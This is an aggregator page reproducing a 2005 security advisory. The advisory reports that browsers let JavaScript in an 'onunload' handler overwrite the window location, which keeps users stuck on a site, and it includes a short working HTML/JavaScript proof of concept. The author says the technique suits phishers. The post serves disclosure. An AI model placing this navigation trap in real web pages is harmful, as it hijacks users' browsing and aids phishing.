Lucene search
K

onunload.txt

🗓️ 25 Aug 2005 00:00:00Reported by Tobias BoonstoppelType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

Security risk in "onunload" event overwriting window locatio

Code
`in nearly all browsers* you can overwrite the window location in the  
"onunload" event.  
  
that means you can "keep" the user on a site. when you type a new url  
in the address-bar, javascript overwrites it. thats a paradies for  
fishers, porn-site-hoster etc......  
  
here the html/javascript code:  
  
<html>  
<head>  
<script>  
window.unlock = false;  
window.onunload=function()  
{  
if(!window.unlock)  
window.location.href='unload.html';  
}  
document.onmousedown=function()  
{  
window.unlock = true;  
}  
</script>  
</head>  
<body>  
<a href="?link=1">Link 1</a><br>  
<a href="?link=2">Link 2</a><br>  
<a href="?link=3">Link 3</a><br>  
<a href="?link=4">Link 4</a><br>  
</body>  
</html>  
  
  
cheers  
Tobias Boonstoppel  
  
  
ps: * i testet it on firefox (linux / window) opera (linux) and  
internet explorer.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Aug 2005 00:00Current
7.4High risk
Vulners AI Score7.4
28